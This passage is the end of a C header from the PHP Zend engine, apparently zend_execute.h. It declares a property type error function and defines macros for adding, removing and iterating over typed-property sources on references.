ZEND_COLD void zend_verify_property_type_error(zend_property_info *info, zval *property);

#define ZEND_REF_ADD_TYPE_SOURCE(ref, source) \
	zend_ref_add_type_source(&ZEND_REF_TYPE_SOURCES(ref), source)

#define ZEND_REF_DEL_TYPE_SOURCE(ref, source) \
	zend_ref_del_type_source(&ZEND_REF_TYPE_SOURCES(ref), source)

#define ZEND_REF_FOREACH_TYPE_SOURCES(ref, prop) do { \
		zend_property_info_source_list *_source_list = &ZEND_REF_TYPE_SOURCES(ref); \
		zend_property_info **_prop, **_end; \
		zend_property_info_list *_list; \
		if (_source_list->ptr) { \
			if (ZEND_PROPERTY_INFO_SOURCE_IS_LIST(_source_list->list)) { \
				_list = ZEND_PROPERTY_INFO_SOURCE_TO_LIST(_source_list->list); \
				_prop = _list->ptr; \
				_end = _list->ptr + _list->num; \
			} else { \
				_prop = &_source_list->ptr; \
				_end = _prop + 1; \
			} \
			for (; _prop < _end; _prop++) { \
				prop = *_prop; \

#define ZEND_REF_FOREACH_TYPE_SOURCES_END() \
			} \
		} \
	} while (0)


END_EXTERN_C()

#endif /* ZEND_EXECUTE_H */